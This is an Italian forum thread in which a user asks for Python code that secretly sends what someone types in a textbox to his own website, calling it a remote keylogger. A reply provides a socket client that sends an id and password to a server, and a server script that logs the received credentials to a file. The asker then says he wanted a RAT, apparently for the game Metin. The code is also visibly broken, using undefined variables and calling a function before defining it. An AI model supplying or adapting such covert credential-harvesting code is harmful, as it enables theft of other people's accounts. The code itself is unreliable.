Domanda Stringa per invio dati in python.

Stato
Discussione chiusa ad ulteriori risposte.

Zizzo Aka CombattenteZ

Utente Emerald
16 Ottobre 2010
818
45
204
411
Salve a tutti,
essendo alle prime armi con il Python ho bisogno di una stringa che mi "trasmetta" dei dati, una volta premuto un button, in un sito web. Praticamente un keylogger remoto.

Faccio un piccolo esempio per farmi capire..
C'è una textbox e un button. Io scrivo una cosa specifica e premendo il button anche se passo alla fase che mi interessa la cosa che ho scritto viene inviata all'insaputa dell'utilizzatore nel mio sito e registrata.
E ovviamente mi serve un codice che mi salvi più dati salvati, e non un unico testo che viene (ogni volta che si preme il bottone) sovrascritto.. Beh, spero di essermi fatto capire e di trovare risposta..
Saluti :yo:
 
Puoi realizzarlo con l'utilizzo dei socket.

Utilizzando i socket, la parte client sarebbe questa:
PHP:
def OnPressButton(id, password): #Funzione per il pulsante di invio dati, accetta come argomenti i dati da passare al server
    from socket import *
    from codecs import decode
    
    HOST='localhost' #indirizzo del server
    
    PORT = 5000 #porta definita nello script lato server
    BUFSIZE = 1024 
    ADDRESS = (HOST, PORT)
    CODE = 'ascii' #codifica dei messaggi
    server = socket(AF_INET, SOCK_STREAM) #crea il socket
    server.connect(ADDRESS) #connette il socket al server
    text = id + " " + password #compone la stringa da inviare al server
    server.send(bytes(name, CODE)) #invia la stringa, codificata, al server
    server.close() #chiude la connessione

[Python] Socket Client - Pastebin.com

La parte server sarebbe questa (è uno script base):
PHP:
from socket import *
from codecs import decode

HOST = 'localhost'
PORT = 5000
ADDRESS = (HOST, PORT)

server = socket(AF_INET, SOCK_STREAM)
server.bind(ADDRESS)
server.listen(5) #Si mette in ascolto, delle richieste (massimo 5)
while True:
    client, address = server.accept()
    text = decode(client.recv(BUFSIZE), CODE)
    SaveRecords(text) #Salva i dati in un file "log.txt"
    
    
def SaveRecords(text):
    f = open("log.txt", 'r')
    data = f.read()
    f.close()
    data = data + "\n" + text
    f = open("log.txt", 'w')
    f.write(data)
    f.close()

[Python] Socket Server - Pastebin.com

Salva i dati in un file "log.txt".
 
Puoi realizzarlo con l'utilizzo dei socket.

Utilizzando i socket, la parte client sarebbe questa:
PHP:
def OnPressButton(id, password): #Funzione per il pulsante di invio dati, accetta come argomenti i dati da passare al server
    from socket import *
    from codecs import decode
    
    HOST='localhost' #indirizzo del server
    
    PORT = 5000 #porta definita nello script lato server
    BUFSIZE = 1024 
    ADDRESS = (HOST, PORT)
    CODE = 'ascii' #codifica dei messaggi
    server = socket(AF_INET, SOCK_STREAM) #crea il socket
    server.connect(ADDRESS) #connette il socket al server
    text = id + " " + password #compone la stringa da inviare al server
    server.send(bytes(name, CODE)) #invia la stringa, codificata, al server
    server.close() #chiude la connessione

[Python] Socket Client - Pastebin.com

La parte server sarebbe questa (è uno script base):
PHP:
from socket import *
from codecs import decode

HOST = 'localhost'
PORT = 5000
ADDRESS = (HOST, PORT)

server = socket(AF_INET, SOCK_STREAM)
server.bind(ADDRESS)
server.listen(5) #Si mette in ascolto, delle richieste (massimo 5)
while True:
    client, address = server.accept()
    text = decode(client.recv(BUFSIZE), CODE)
    SaveRecords(text) #Salva i dati in un file "log.txt"
    
    
def SaveRecords(text):
    f = open("log.txt", 'r')
    data = f.read()
    f.close()
    data = data + "\n" + text
    f = open("log.txt", 'w')
    f.write(data)
    f.close()

[Python] Socket Server - Pastebin.com

Salva i dati in un file "log.txt".

Più che altro avrei avuto bisogno di uno script RAT perché lo script in questione mi serve per la cosa più banale del mondo.
Metin :V
E non pensavo fosse così lungo lo script. Spero sia la cosa giusta o che almeno mi sia d'aiuto. In ogni caso sei stato davvero gentilissimo!
 
Stato
Discussione chiusa ad ulteriori risposte.